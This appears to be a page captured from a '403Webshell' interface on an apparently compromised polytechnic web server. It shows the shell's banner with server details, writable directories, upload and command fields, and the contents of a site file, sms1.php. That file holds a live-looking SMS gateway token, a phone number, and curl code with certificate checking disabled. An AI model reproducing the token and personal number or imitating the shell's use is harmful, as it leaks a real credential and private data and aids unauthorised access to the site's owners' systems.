403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.63
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/sms1.php
<?php

















$message = 'baTest message';
$senderid = 'caTest Sender ID';
$to = '08034496359';
$token = 'DdyxDgGoJURC0W88O73e2e5Ymts6S6LlRtuWVdAhnk8oJ0WQep7sXMBBTutLdlbG6fLv3QgRitauRuUnelwjYP2DX7VurbHPe1j1';
$baseurl = 'https://smartsmssolutions.com/api/json.php?';

$sms_array = array
(
    'sender' => $senderid,
    'to' => $to,
    'message' => $message,
    'type' => '0',
    'routing' => 3,
    'token' => $token
);

$params = http_build_query($sms_array);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $baseurl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
echo curl_error($ch);

curl_close($ch);

$decoded_result = json_decode($response);
//echo "<pre>";
//var_dump($decoded_result);
//echo "</pre>";
 $codeID= $decoded_result->code; // response code
//$arrObj = json_decode($response,true);
//$dept=$arrObj['$response'][0]['code'];
//if
?>

Youez - 2016 - github.com/yon3zu
LinuXploit